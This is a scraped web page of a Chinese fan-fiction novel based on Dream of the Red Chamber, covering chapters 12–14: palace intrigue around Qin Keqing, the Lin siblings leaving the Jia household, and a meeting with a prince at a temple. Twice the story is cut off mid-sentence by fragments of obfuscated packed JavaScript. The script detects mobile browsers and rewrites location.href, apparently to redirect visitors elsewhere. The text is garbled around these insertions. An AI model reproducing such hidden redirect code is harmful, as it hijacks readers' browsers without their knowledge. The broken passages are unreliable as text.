这边姐姐妹妹的插科打诨,高处赏景的四位王妃却微微皱眉。这贾家的凤凰蛋养得也太不知理了。 男女七岁不同席,这宝玉也有八岁了吧,还一味地跟表姐表妹们混在一处,成什么样子。 贾母自是没当一回事,她乐不得孩子们日日在一处说笑呢。高兴地招手,让鸳鸯给宝玉他们添些茶点果子。 王夫人打着让宝玉娶高门贵女的主意,本就有些发愁宝玉的教养,无意中瞥见几位王妃皱眉,心里跟着颤了一下。 宝玉出生以来,老太太就抱走了,说是她来教养。她这个做娘的稍微离得近些就遭埋怨。小时候娇惯些也就罢了,国公府的公子嘛,怎么娇惯也是该的。可如今都到了附学的年纪了,还这般行事如何使得。少不得她得插手一二了。 王夫人悄悄招手,贴身服侍的金钏上前,她才低声道:“过去跟宝玉说,他年纪大了,不好在后宅厮混,去前面读书。今儿老爷在家,要是不听话,仔细老爷知道了打他。” 贾宝玉对贾政,那是比老鼠怕猫还要怕的,听了金钏的话,先还扭着身子不答应,听到老爷要打他,白着脸麻溜地退了出去。 贾母看到,暗暗变了脸色。宝玉好好的赏花,和姐姐妹妹们说笑,金钏去了之后就白着脸走了,当她不知道其中的关窍嘛。这是见不得宝玉跟她亲呢。 她瞥一眼端坐的木头儿媳,心里狠狠记了一笔,等赏花宴结束了有她好看的。 12. 秦可卿 “那就是蓉哥儿媳妇吧?”北静王妃指着下面身着雪青绫裙,脖子上戴一串五彩宝石璎珞的妇人道,“早听下面人提过,老太太家的蓉哥儿娶了个天仙般的人物,当真是半点儿不假,快叫进来看看。” 贾母面色谦虚:“当不得王妃这样夸赞。小孩子家家的,出身不高,没见过什么世面,再吓着她。不过咱们这样的人家,自是不在意孩子的出身的。 我最爱的是蓉哥儿媳妇的品格,就是普通农户出身,我们也能聘来给蓉哥儿做媳妇。” 四位王妃隐晦地对视一眼,拿帕子捂着嘴,笑而不语。 这贾母当真是糊涂,就连她们这些局外人,都听说了一两句流言,她竟像丝毫不知?也不知贾家男人怎么哄老太太的。 阁楼下,邬桐瞥见秦可卿被带去了阁楼,抬手遮住眼睛,装作看天上的鸟儿,远远瞧见秦可卿落落大方地给几位王妃见礼。王妃们挨个儿拉着她的手亲热地说笑,临走还赠送了楠木匣子装着的礼品,显见是精心准备了的。 当时王妃们见她们这些姑娘,可都是随手撸下来手串玉佩什么的,或是让下人准备一两个金钗当做见面礼。如今特特地送秦可卿一匣子礼物,难道秦可卿真是太子的私生女? 邬桐低下头品茶,余光暗暗观察着秦可卿。 不愧是红楼第一美女,风度气韵浑然天成,最难得的是那股似有若无的媚态,在灵动的眉眼间稍纵即逝,不认真看还真发现不了。最可贵的是,跟下人们说话温言软语的,怪不得说贾府上下没有不爱她的。 正出神呢,只听左侧传来一声低斥。 “你这丫头,毛毛躁躁地,成何体统!”一旁,探春粉面含怒,呵斥一旁跪着的小丫头。原来小丫头倒茶时,不小心将茶盏打翻,溅湿了迎春的裙摆。 “不妨事,妹妹别声张。”迎春一手抖动衣摆,一边忙抬头,见王妃们没注意到这边,悄悄松了口气,伸出另一只手拉拉探春的衣角,小声道,“这样的日子,四个王妃都看着呢,妹妹息事宁人吧。我回去换个衣服就成。” “姐姐总是这样好说话。”探春哼一声,坐下扭过头不再理会。迎春被说的脸有些红,坐在那里,一手提着裙摆,不知如何是好。 秦可卿已然下楼,正吩咐贴身服侍的丫鬟,将四个匣子送回去呢,闻言摆摆手,笑盈盈地走过来,伸手扶起跪着的丫头,娇斥道:“还不快走,留在这里做甚。” 小丫头十一二的年纪,留着头,见三小姐没再开口,低着头慌不择路地跑了。 秦可卿款步上前,拍拍探春和迎春的手安抚道:“小丫头没见过世面,不懂事罢了,姑姑们别闹气。我前儿裁布做衣裳,正好做了一条一模一样的石榴裙,还没上过身,二姑随我去换了吧。” 有意思。邬桐低头浅笑,端起茶细品。秦可卿看似是在扶那个丫头,可她明明看到,那小丫头偷偷在秦可卿手里塞了什么东西。 难道太子在贾府里有密探?那秦可卿,是密探的什么人呢? “姐姐,你看那边,那朵赤红色的牡丹,当真是漂亮得紧。”林黛玉戳戳邬桐的手臂,开口道,“姐姐别光牛饮了,也赏赏花吧。人家说对牛弹琴,姐姐这是牛赏牡丹呢。” 说着就抿嘴笑。 邬桐放下茶杯,伸手轻轻拧了把林黛玉的脸:“好你个黛玉,打趣起姐姐了。没个做妹妹的样儿,看姐姐怎么收拾你。”说着双手哈了哈气,伸手咯吱黛玉的细腰。 “哎呦,姐姐扰了我吧,再也不敢了。”黛玉轻声求饶,脸蛋笑得红扑扑的,显见身子好了许多。 几位王妃听到笑声,笑眯眯地望过去,见几个粉雕玉琢的小姑娘们闹作一团,真心恭维道:“还是老太太会调理人,看这一个个水葱似的,谁见了不爱呢。” 贾家人别的不说,颜值那都是开了挂的,就连丫头都比其他人家的齐整些。在一片恭维声中,贾府的赏花宴谢幕,却也拉开了京城宴席的帷幕。 四王八公商量好了似的,今天你家,明日我家,京城一时热闹非常。 随着热闹而来的,自是林家瓷器铺子里的新货卖上了高价。不过为了稳妥,邬桐没在京城卖,而是在通州。 贾家的下人嘴上没把门的,几位王妃赞赏的话早传得满京城都知道了。通州离京城仅一日的路程,消息再慢,也传了过去,让邬桐狠狠赚了一笔。 替邬桐算了算银子,柳琼彻底安心不折腾了,以后安心读书科举吧,不然就凭邬桐这折腾劲,没官位护着,非得让人吃了去。 也许是为了彻底安勋贵的心,没几日东宫又有赏赐,不仅给了贾家,其他四王八公都有份,最重要的是,太子开始召见大臣了。 之前“太子病重”的传闻彻底坐实,如今太子病愈,开始巩固势力了。 勋贵们安了心,皇上和三王爷也舒了一口气。整整半年时间才培养了这么个替身,言谈举止有八分像太子,却也只能见见骑墙的臣子,太子忠臣是怎么都不敢让他去瞧的,就怕一个不小心露馅。 不论如何,勋贵们的日子一切如旧,整日不是这个生日,就是那个办酒的,就是邬桐这个客居贾家的人,都被拉着去参加了好几次宴席。 每一次,她都见到了秦可卿。 秦可卿似乎对参加宴席格外热衷,左右逢源,总能在半盏茶功夫让人卸下心防,毫不防备地攀谈。就连邬桐跟她说话,都得十二万分的小心。 瑞珠宝珠两个贴身丫鬟日日跟着,宝珠贴身服侍,片刻不离秦可卿。 瑞珠却每次到了之后,被安置在外面的下人席中,与其他府里带过来的下人们一起说笑。看似没有宝珠得宠,可这种跟外人打交道的事,怎么看怎么像是在收集信息,那就非得是信重之人才是。 书里记载,秦可卿死后,瑞珠触柱身亡,而宝珠认秦可卿为义母,以女儿礼送葬。可见是承袭了秦可卿的东西的。 会不会是,瑞珠知道的太多,不死不成?而宝珠所知不多,这才能活下来? 有意思的是,据林府下人们调查,瑞珠是贾家的家生子,父母都是宁国府的世仆,小叔叔则娶了周瑞的妹妹,周瑞的女婿又是冷子兴,七拐八拐的和荣国府以及府外势力都有了关系。 新朝建立已八十多年,国公府繁衍这么多代,下人们之间早就盘根错节,纠缠不清。邬桐记得柳琼说过冷子兴这个人有问题。 什么问题呢?这个人来历不明! 周瑞家的送宫花那一节,她女儿来求周瑞家的,就是因为丈夫冷子兴和人吃酒起冲突,那人说要告到衙门里,罪名就是冷子兴来历不明,要将其押解归乡。 冷子兴是周瑞的女婿,周瑞的妹妹嫁给了瑞珠的小叔叔,那秦可卿就和冷子兴有了联系,会不会这冷子兴,其实是秦可卿的手下,是探子呢? 冷子兴是开古董铺子的,四王八公、甚至是朝廷官员家里,不肖子孙多了,偷了家里古董换钱的大有人在。这不就是一个接触勋贵和朝臣的最佳机会? 而且能来换古董的人,能是什么有心机城府的。被人套话还不是分分钟的事。 越想越觉得蹊跷。 这日午后,百花堂外繁花似锦,卧房外间的书桌上,邬桐看史书看累了,铺开湖宣,回忆着昨日在北静王府宴会上看到的服饰和首饰图样,心里琢磨,怎么让柳琼盯紧了瑞珠和冷子兴。没留神,这身着华服的仕女越画越像瑞珠。 “姐姐这画,怎么越看越像蓉哥儿媳妇身边的丫鬟?”林黛玉身子不好,本身也不爱去参加宴席,因此和邬桐在院子里躲懒。她本来在花园里收集花瓣,准备调些胭脂膏子打发时间,想到姐姐不知道在忙些什么,挑开帘子就进了邬桐的屋里。 邬桐回过神,不经意地描补:“美人儿都是相似的,我这是画你呢,可见是画得不像。” “姐姐又拿我取笑。”林黛玉嗔道,又看了一会儿,问道,“这是上次镇国公家宴会上,他家小姐的装扮?姐姐怎么专爱画这些 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邬桐顾不得理会史湘云,吩咐小丫头们端茶倒水,又是让茶又是让点心的,半晌才问道:“妹妹们怎么没去参加理国公府的赏花宴?” “原也不是什么正经的宴会,不过是为了给妾氏的姑娘相看罢了,我们才不去凑这个热闹,白白给别人做陪衬。”史湘云的话刚落,探春拿茶杯的手就一顿,紧跟着低头掩饰住眼里的愠怒。 史湘云浑然未觉,仍大喇喇地出言询问:“姐姐刚才在做什么?我怎么恍惚听着什么一千两银子的?难道姐姐还在乎这仨瓜俩枣的?林家姑父可是巡盐御史,世上还有比这更肥的肥差吗?叔叔在家都说林姑父好运道呢。” 邬桐冷笑一声,她都怀疑天道为了平衡她和柳琼的介入,让史湘云换了个芯子,否则怎么跟书上的完全不一样:“妹妹慎言。爹爹在江南鞠躬尽瘁,就连圣上都褒奖过的,妹妹这是想说什么呢?而且一千两可不是仨瓜俩枣。妹妹公侯出身,从小锦衣玉食,自是看不上这银子。可在乡下,二两银子就够一家十口人一年的嚼用了,若是省检着些,两年也用得。这一千两,可是多少人一辈子都不敢想的数目呢。我能凭借几张图样就赚这么些钱,只觉得心里畅快,并不羞赧,也不觉得难堪。只是为着妹妹着想,我就是拼着不讨好,也要诚心劝妹妹两句,莫要出去说这等没见识的话,被人耻笑侯府没教养就不好了。” “你......”史湘云被气得脸色通红,越发认定前几日的梦是真的。就在邬桐进贾府前一日,史湘云做了一个奇怪的梦。 梦里,一个跛足道人从天而降,嗖一下来至身前,跟她说,入府的林家三人是灾星,必须赶出贾府,天道无常,切记切记。 一连三日,都是这个梦,让她想忽略都不行。 林黛玉被史湘云的话气得不轻,本来红润的脸颊瞬间惨白起来。 贾宝玉见状跌足,这边劝和,那边赔不是的,竟是比谁都着急的样子。 “桐姐姐,你误会云妹妹了。她再是没坏心的。” “云妹妹,你别哭,桐姐姐是好心,都是自家姐妹,说话才没忌讳的。你可不能吃心。” “哎呦,姑奶奶们这是又拌嘴了?”王熙凤掀帘子进来,抚掌笑道,“怪道老太太说你们淘气,凑到一起必是要闹出事的,巴巴的派我来看护着。这不就让我遇个正着。蓉儿媳妇,来,少不得咱们娘儿俩个受些累,一人带几个,分开她们才好。要不老太太该伤心了。” 秦可卿在后面抿着嘴儿笑,适时接话道:“自是恭敬不如从命,婶子说怎么办侄儿媳妇听着就是了。” 薛宝钗左右看看,起身拽着史湘云,笑眯眯地走到秦可卿身边道:“听说东边花园子里的牡丹也开了,我们去看看,可比这边开得好是不好。” “自然是比不过这边的。”秦可卿会意,安抚地拍拍薛宝钗的手,柔声道,“几个姑奶奶出落得比牡丹还国色,东府里的花就是开得再好,也没美人增色不是。” 13.搬家 史湘云走后,屋内陷入了片刻的安静。 王熙凤恍若未觉,走到邬桐的画作前,咯咯笑道:“怪道说你们读过书的就是有本事呢。这画几幅画就能有一千两银子,多少人羡慕还羡慕不来呢。哪天桐妹妹也赐我几张画,不说一千两银子,就是一百两,我也不嫌少。对了,前一段儿通州那边的管事可是来报了,林家在通州的瓷器作坊日夜不歇,少说也赚了近万两了吧?说说,可得怎么谢我?” 这是在外面偷听呢。邬桐挑挑眉,笑道:“琏二嫂子说笑了,谁不知道王家豪富,就是地缝里扫扫,那金子都成山填海的,哪里会将这些放在眼里。也就是我这个大俗人了,又不会作诗不会作画的,只能钻到钱眼里,赚些仨瓜俩枣的。” “桐姐姐,云妹妹断没有这个意思的。”贾宝玉忙忙解释道,“云妹妹最是有口无心,你莫要往心里去。我先替云妹妹给你赔不是。” 说着行了个礼,起身后,看林黛玉没像以往那样哭得上气不接下气,他跺跺脚道:“我去劝劝云妹妹。” 邬桐给身边的丫鬟蕙香使个眼色,蕙香会意,悄悄退下,跟上贾宝玉:“宝二爷,我家姑娘派我去看看,她也不放心湘云姑娘呢......” 蕙香长得艳若桃李,贾宝玉自是愿意亲近的,带着就往东院的牡丹园走去。 王熙凤和三春又略坐了片刻,喝了一盏茶才离开。 等人都走后,林黛玉才哭出声:“姐姐,外祖母家是呆不得了。再住下去,只怕要被人说成是上门打秋风的破落户了。” “妹妹别急,明日我们回明外祖母,后日就搬走。”虽然发生了插曲,邬桐心内却是高兴的,终于可以名正言顺地搬出去了,“妹妹别伤心,府里都是收拾好了的。以后妹妹要是想外祖母,只管时常回来看看就是。有些人就得远远处着,说不得缘分还更长些。距离近了,少不得拌嘴吵架的,不值当。” 林黛玉若有所思,见姐姐收拾桌上的画作,开口道:“以后我也帮姐姐画。” 还有意外之喜呢,邬桐瞬间高兴起来,林黛玉的品味可是她比不上的,她拍手笑道:“这话我可当真了。妹妹这样神仙般的人物,画出来不得赚上一万两银子?我可等着妹妹养我了。” “姐姐又取笑我。”林黛玉哼一声,起身回屋,“姐姐收拾吧,我也回去张罗张罗,搬家可不是轻松的。” 黛玉出去的门帘子还在晃,蕙香就进来禀告:“大小姐,奴婢进宁国府牡丹园后,先是跟史家小姐赔了不是,正准备回来呢,就见到蔷哥儿的小厮匆匆忙忙地去了后院儿,像是去蓉哥儿那里,其他就没有了。” 邬桐挥手让蕙香退下,坐下沉思。贾蔷?如果她没记错,贾蔷是贾珍的养子,一直跟着贾珍过活的。后来为了避嫌,让他搬出去住了。盖大观园时,贾蔷是负责下江南采买小戏子的。 贾蔷父母是谁,为何跟着贾珍,避的又是哪门子嫌?去江南不可避免地就会跟甄家接触,贾珍给贾蔷这个任务,应该是有什么秘密要让他捎给甄家的。 而且书里“养小叔子”的一个猜测,有一种说法就是指的秦可卿和贾蔷。贾珍吃醋,这才趁着外面流言四起,说是避嫌,急急地让贾蔷搬出宁国府。 如果秦可卿是太子之女,又是探子的话,会不会贾蔷就是她的一个手下,冷子兴是明线,而贾蔷是暗线? 越来越有意思了,秦可卿一个女子,太子怎么会让她掌握这么大的势力?秦可卿的娘是谁?和甄家又是什么关系? 谜团越来越多,邬桐揉了揉太阳穴,少不得让柳琼在外面多查探查探了。 她要是有战斗系异能就好了,飞檐走壁的,什么消息都瞒不过她。如今被困在内宅,加上之前的教训让她不敢轻举妄动,如今大部分事情都得仰仗柳琼。两人历经生死,但在此时此地,多少有些不方便。 外面的柳琼在干嘛呢?他正趁空整理空间里的存书呢。他一个学文学的,别的不多,就是书最多。原本的空间内,除了各种文学书籍外,还有一些他喜欢的军事科普和武器介绍。虽然是个书生,但谁还没个霸主梦呢。 虽然他没想着收后宫做什么男频霸主,但是避免海禁,让中华儿女早些走出去,却是时刻都在想的。 那些坚船利炮,书里都有详细的制作方法,末世时这些用不上,大家拼的都是异能,这些黑科技也就没有瞒着的必要了。 柳琼下定决心,不去管什么皇上太上皇的,只开疆拓土这一项,就没有帝王不爱的。只要他能替帝王做到,皇上太上皇都得重用他。 不过四王八公的教训在前面,到底如何让帝王不忌惮,也是一门学问。 柳琼在这边冥思苦想,间或盯紧了冷子兴和贾蔷,没事时看看书,日子倒也逍遥。 当然这是后话,只说第二日邬桐和林黛玉去正房见贾母,言说搬家之事。 “你这孩子,怎么气性这么大。”贾母脸上堆着笑,笑意却不达眼底,邬桐和林黛玉行礼后,也没了往日一把捞进怀里的动作,只不住地感慨,“湘云这丫头是个实心眼子,最是没坏心的。昨儿回来哭了一晚上,我问她还只说你的好话呢。你年纪比她们都大些,很该谦让妹妹们才是,怎么跟她们置气呢。” 窝在贾母怀里的史湘云眼神微闪,低着头只不言语。邬桐越瞧越觉得不对劲,她也不去争辩谁是谁非,只硬邦邦地回道:“不瞒外祖母,外孙女是因为林家宅子许久未住人了,我们兄妹几人过去,好歹给房子添些人气。年底爹爹回京述职也好入住。这才特意来跟外祖母请辞的,断不是因为昨日之事。湘云妹妹直爽,就算平日说话不妥当,谁还会真计较不成。就像外祖母说的,我年纪大些,原该多担待着才是。” 话音还没落,贾母就不悦地盯着这个胆大包天的女孩子,脸上的笑收敛了,淡淡地回道:“哦,你要回就回吧,黛玉......” “外祖母。”林黛玉盈盈一拜,开口道,“外孙女也想回去给父亲尽尽孝心。外祖母要是舍不得我,我常回来看看就是了,求外祖母成全。” 不管中间掺没掺杂其他因素,贾母对林黛玉是有真感情的,闻言叹口气,摸摸黛玉的头,叮嘱道:“回去可得按时吃药,人参养荣丸吃完了,外祖母再给你送。不可劳神,那些诗啊书啊的,宁可少看些,还是身子要紧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15101957|163788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >拉拉杂杂说了一堆,黛玉红着眼眶听着,时不时点两下头,看得邬桐都觉得她是个恶人了。还没感慨完,那边贾宝玉进来不依了:“林妹妹万万走不得。大家在一处亲亲热热的,怎么就想着走了呢。桐姐姐,你快说不走了,我们还一处赏花说笑,岂不好?林家宅子有下人打扫,断不会出问题的,姐姐要是不放心,就让老祖宗派人去帮着参详,一定打理得妥妥当当的......” “宝玉,你怎么又逃学?”王夫人脸拉下来,今日林家人终于要搬出去了,她岂可让人再留下来添乱,遂打断宝玉,扬声喝道,“外面是谁跟着的?拉出去打板子,主子逃学也不劝,要他们有什么用。还有今儿屋子外面是谁伺候的,宝玉过来也不通报一声?” 一叠声吩咐下去,贾母刚柔和下来的脸色像是刷上了一层冰碴子。她不怒反笑,转头对着过来请安的尤氏道:“让你看笑话了。我这屋里都是没规矩的,怪不得太太发火。原是我年纪大了,不会调理人,以后少不得这家要交给你们,我这个老厌物回金陵去等死也就罢了。” 房间里瞬间连呼吸声都没了,尤氏低着头不敢吭声。王夫人脸色惨白,胸口不住地起伏,半晌跪在地上一言不发,王熙凤见状吓得跪在王夫人身后,不住地颤抖。 贾母只让鸳鸯去扶王熙凤:“可怜见的,跟你不相干。只管回去办事,这个家还离不得你。” 王熙凤身子更抖了,只这一句话,明日姑妈就能夺了她的管家权。她扶着鸳鸯的手,踉踉跄跄地起身出去,再不敢在屋子里呆了。 屋内,贾宝玉见母亲受罚,想说情却知道,这时候谁都能开口,只他不行。他越说母亲的处境就越遭。正急得额头冒汗,只听探春笑道:“祖母是想衣锦还乡夸耀乡里吧。那孙女也得回去见识见识。都说孙女年纪小,见识浅薄,这回跟着祖母回去一趟,说不得比行万里路还有用呢。” 贾母勉强笑笑,顺着台阶道:“少拿祖母开心。桐丫头带着你黛玉妹妹回去收拾东西吧,外祖母也不强留你们了。你们啊,都是有孝心的好孩子,以后造化不浅。” 木头儿媳再不好,也是宫里娘娘的母亲,不能狠得罪了她。良久,等邬桐和林黛玉走后,贾母才又开口:“跪什么,不过一两句玩笑话就吓成这样,还是年轻。都回吧,我今日也乏了。” 一群人悄无声息地退了下去,贾母闭了闭眼睛,良久开口道:“鸳鸯,叫赖嬷嬷进来。” 鸳鸯立在外面,躬身答应一声,转身去府外后巷的街弄里请人。赖嬷嬷是老太太的心腹,平时没人使唤得动。这几年老太太年纪大了,家都是二夫人在当,就更少找赖嬷嬷了。但每次去找,府里必有大事发生。 第一次,她记得是二夫人当家不久,娘娘要采选入宫那年。赖嬷嬷去了一趟江南,娘娘就顺利入宫了。 第二次,二夫人想让周瑞做荣国府外管事,赖嬷嬷不用人请,亲自来找了老太太,至今,府里的外院大管事,还是赖大。 第三次,就是前几日的蛇羹了,赖嬷嬷亲自买了几个厨娘,现在应该都被送进了东宫,做了宫里的厨娘了。 这次,府里又会有什么大事呢? 14.掣肘 后续发生的事邬桐全然不知,也不去关心打探,只顺利地搬离了贾府,兄妹四人收拾箱笼、布置屋子又花了两日。 林家的宅子在京城不算小了,五进,四人一人一进都住得开。虽没国公府雕梁画栋那般奢华,也是曲径通幽,轩峻壮丽,很有几分江南园林的别致,不愧是巡盐御史的宅子。 安住下来后,少不得再去贾府报个平安,送些礼物,算是代表林家,和亲戚走动起来的意思。 “住得习惯就好。你们啊,走得太早,这不,赖嬷嬷能干,找了个宫里的教养嬷嬷,正在教迎春她们姊妹几个规矩呢。咱们这样的人家,不求她们嫁得多高,多学些规矩,以后不管嫁去哪里,都吃不了亏,就是掌管后宅也能更顺手。”贾母摩挲着林黛玉的手,满脸疼惜。 邬桐却觉得贾母的屋子比往日安静许多。王夫人脸有些僵,迎春面色倒是如常,薛宝钗眼里隐隐有些兴奋,只探春低着头,有些不安的样子。而最爱说笑的王熙凤,今日却跟锯嘴的葫芦一般,一声不吭。 往日请安过后一定会多留一会儿的尤氏,此时却不见了踪影。邬桐想了又想,才摸到些边。那日王夫人得罪了贾母,加上之前赏花宴插手宝玉的问题,贾母这是新仇旧恨加起来,想给王夫人一点儿教训? 培养三春,可能早就有这个计划,只是如今是不是太心急了些?按年纪算,元春现在最多也不到二十岁。自古只有多年无子的后宫妃嫔,娘家才会送进美貌的媵女,让媵女生子巩固位置。 进了后宫,女人就不再是单纯的女人。为娘家,为儿孙,却偏偏不能为自己。 邬桐叹口气,不再理会贾家的官司。如今好容易跳出了贾府,三春如何,那是贾家的事,她作为外人,断是不能插手的。而且她估计,近几年贾母也不会真的送进去一个媵女。做做样子,教训教训儿媳妇罢了。 元春年纪还小,又不是生不出来。再为了媵女的事和最有出息的大孙女起了嫌隙,那才是得不偿失。贾母断不会糊涂至此。 看着一屋子围着贾母说恭维话的莺莺燕燕,邬桐的心思不可避免地飞到了府外。好不容易来了一趟京城,周边的好景致怎么也得去逛逛才是。 这不,刚从贾家回来两日,就来了机会,兄妹四人集体出府游玩。 “少爷,小的们在甘泉寺的后院禅房,收拾出了一个齐整院落,都布置妥当了,小姐们可以安心入住。” 东郊,甘泉寺正门前,小厮全贵在马车前躬身回禀。 林管家早在三人入住贾府后几日就走了,林如海在江南还等着他管家呢,几个小主子这里一切安好,他留下几个得力小厮,放心地回去了。全贵就是林管家手把手教出来的,最是机灵,邬杨放在身边做了跟班。 “去后院禅房。”马车里,邬杨掀开帘子,看了一眼甘泉寺的大门。很普通的红漆柳木门,甚至都不怎么光鲜,匾额也是平平无奇,其上的字迹却苍劲有力,透着一股子睥睨天下的霸气。 邬杨放下门帘,回忆三王爷突然约他来这里相见的经过。 已经快六月,离明年春闱还早,但邬杨想一击即中,每日读书后,都会在申时左右去国子监周围的茶楼,听听学子们的议论。 国子监里有很多恩荫的朝中官员子弟,消息最是灵通,议论的很多朝廷大事,来龙去脉比邸报里写的详细多了。 前几日他正在角落里独自喝茶,津津有味地听着邻桌的议论。不成想茶博士倒茶时,小心地塞了张纸条给他,就约在城东甘泉寺。 京中的大庙很多,甘泉寺只是一个很小的庙宇,因寺庙中有一甘泉而得名。来这里上香的人不多,但从禅房翘起的屋檐走兽就能看出来,甘泉寺不缺钱。没想到,却是吃的皇家饭。 邬杨、邬桐和邬柏三人都知道来这里的目的,但是林黛玉不知道,她只以为是姐姐想出来散散心,下车后还四处瞧呢,很是好奇的样子:“这里倒是有趣,只是这山也太矮了,没甚意趣。不过比清虚观和水月庵清净,也还有些微可取之处。” 禅房是青砖黛瓦,泥鳅屋脊,房前屋后的古柏和青松很有些年头,一看就是积年的老树。风吹林动,混杂着山下小镇的喧闹,难得的既能远离世俗烟火,又能时刻入世游玩的地方。 邬桐跳下马车,深吸一口气,伸手拉住探头探脑的黛玉,笑着说:“别看了,先吃饭,午食后再去小镇上瞧瞧。你来京城这么久都没出来过吧?京城的市井民情肯定也没见过。” 此时黛玉也才不足八岁,吐吐舌头,顺着邬桐的力道,进了禅院。 甘泉寺在京城东郊,坐马车大概两个时辰的路程,一早出发,到的时候正好吃午食。因甘泉寺不大,禅房说是一个院落,其实就四间房,哥哥弟弟一间,她和黛玉一间,男女下人们两间,才堪堪住下。 寺庙的小沙弥送来斋饭,蕙香和全贵合掌,恭敬地接了,送到少爷小姐的房内后就退了出来。小主子们吃饭不要他们伺候,他们正好可以歇歇。 蘑菇鲜汤素面,素炒小青菜,再加一个红豆酥饼,斋饭不说丰盛,主食、菜蔬、甜品都有,很齐全的一顿了。 午食后,邬桐和黛玉带上帷帽,在山下的小镇上漫步。小镇不大,人烟却阜盛。不远处就是大慈恩寺,当朝最大的寺庙,香火鼎盛,每日去烧香拜佛的贵人不少,搭着这人流做买卖的小商贩络绎不绝。 炊饼铺子、豆花、包子、馕饼等吃食摊子最多。大慈恩寺里禅房有限,主子们带着贴身奴婢住进去祈福,其余的下人们自然是自己找地方安置。小镇就是做这些下人的生意。别小看这些跟着主子出来的奴仆,手里的银钱可能比有些大商户还多呢。 邬杨找了一间二层的茶楼,包了临窗的雅间,兄妹四人倚窗看景。 林黛玉津津有味地看着下面,玩闹嬉笑的小童,布衣荆钗却不失泼辣的妇人,还有小贩洋溢着热情的吆喝声,都令她觉得新奇,良久才侧身对邬桐感慨:“姐姐,以前竟是我误了。从未想过出来看看,只一味地呆在后宅。如今出来才知天高地阔,自在非常。” “那妹妹就多出来走走。妹妹是有大智慧之人,多出来走走,许是就得了什么机缘也未可知。”邬桐拍拍林黛玉的手,悄悄给楼下茶摊上坐着的柳琼使个颜色。 不远处的冷子兴可溜达半天了,盯紧了。 柳琼无奈,伸手在有些油腻腻的桌上规律地敲了几下,表示放心,他盯着呢。 摇摇头,还是这么心急,改不了。柳琼捻起茶杯,慢悠悠地喝茶,时不时抬眼看着款款在小镇主道上溜达的冷子兴。 邬桐内心翻个白眼儿,乌龟脾气,等成亲了看怎么锤他。 小镇富庶,就算是露天的茶摊,也有正经的官制幌子迎风飘扬。喧喧嚷嚷的,歇脚的人多,柳琼又坐在角落里,故而冷子兴没瞧见人。 冷子兴是每月逢三来小镇,在街上闲逛几圈,手下有事自会来找他。这不,正走着,一个衣衫破旧的老妇人匆匆从对面而来,似是老眼昏花,直直朝冷子兴撞去。倒地的一瞬间,右手不着痕迹地往冷子兴身上塞了一个什么东西。 主街上人来人往地,就算是有老妇人跌倒,大家看了两眼也就各干各的去了。没看那年轻男人没推诿,老妇人也没骂街嘛,又没吵起来,有什么好看的。 只柳琼眯了眯眼睛,终于露头了。他在角落里低头浅笑,这次无论如何得盯紧了,冷子兴到底在谋划什么,还真得去瞧瞧。以前只是怀疑,没想到这冷子兴真有问题。 柳琼想着他的空间异能,笑意更深了。他的空间虽然鸡肋,可最大的好处就是能藏身,虽然只能他自己进去。 偷摸摸盯人的时候,如果被察觉了,躲进去就行,谁都发现不了。因此柳琼最擅长的就是盯梢。 傍晚,晚霞盈天,小镇东南角一座破败的农家院落前,冷子兴左右看看,还是没看到人,可心底却忍不住发沉,那股被人盯着的感觉挥之不去。 按规矩,他是不应该来的。这里是小镇的秘密藏身点,要是被人察觉,以后就又得换地方安置手下了。 但蜈婆亲自出马,必是有紧急情报,且不方便送过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“参见王爷。”邬杨愣了一瞬,慌忙起身,拉着弟弟妹妹要跪,三王爷笑呵呵地伸手扶起,开口道,“不用多礼。林如海林大人信上都说清楚了,此次我找你们也不是为了问扳指的事,而是贾家。没想到歪打正着,在外面就听到了关键消息,你们很好,很机警。” 三王爷在书桌后坐下,毫不避讳地拍拍手,见三人惊讶,他微笑着解释道:“来的时候在其他房间下了药,现在院子里的下人和林家小姐都在熟睡。放心,这药对身子没害,就是睡得沉些罢了。” 话音还没落,三名內侍托着三个填漆木匣进来,放到桌上后又悄无声息地退下。三王爷这才继续道:“这是皇上给你们的赏赐,你们这次带来的消息很有用。” 虽然太子遗孤还没找到,但是起码他们知道了消息,没有陷入被动。如今又有了其他的收获,这份奖赏不亏。 见三人要跪下谢恩,三王爷摆摆手:“我还有事,就不在这里多留了。你们在甘泉寺多逛几日再回去,免得引人怀疑。后会有期。” 不待三人说话,三王爷风也似地起身走开,显见是去调查秦可卿和冷子兴了。 “桐儿,你说二伯是不是......”邬杨声音有些哽咽。在邬家时,母亲不受宠,父亲冷漠,大伯对他们不理不睬,只有隔房的二伯会关照他们一二。如今事情越来越复杂,邬杨隐隐有感觉,二伯可能凶多吉少了。 邬桐叹口气,她不知道怎么安慰人,说邬有道没事?这话她自己都不信,邬有道显然是皇上的人,却让大哥捎信儿,肯定是有事脱不开身。而这个事情,肯定跟他们这一房有关。 他们不知道的是,真的邬有道早在十八岁剿匪时就死了,皇上让死士假扮邬有道,就是为了布局南海的局势。死士都是喂了药不能生育子女的,要说应该绝对信得过才对。 可偏偏人是有感情的,假邬有道和妻子日夜相对,竟慢慢有了爱慕之心。 偏偏那妻子娘家跟南安郡王家走得近,无意中从女儿口中知道了些假邬有道的秘密。等假邬有道觉察时已经晚了,四王八公用他的船将太子私生子送了出去,他愧对皇上的信任,给了扳指后就出兵剿匪,存了死志,只想留个精忠报国的名声,保全妻子而已。 15.造反 三日后,假邬有道的死讯摆在御书房,隆昌帝脸上阴云密布,良久才低吼道:“混账,混账,竟敢私养暗卫!还给一个女人掌管。怪不得能送出去,怪不得......” 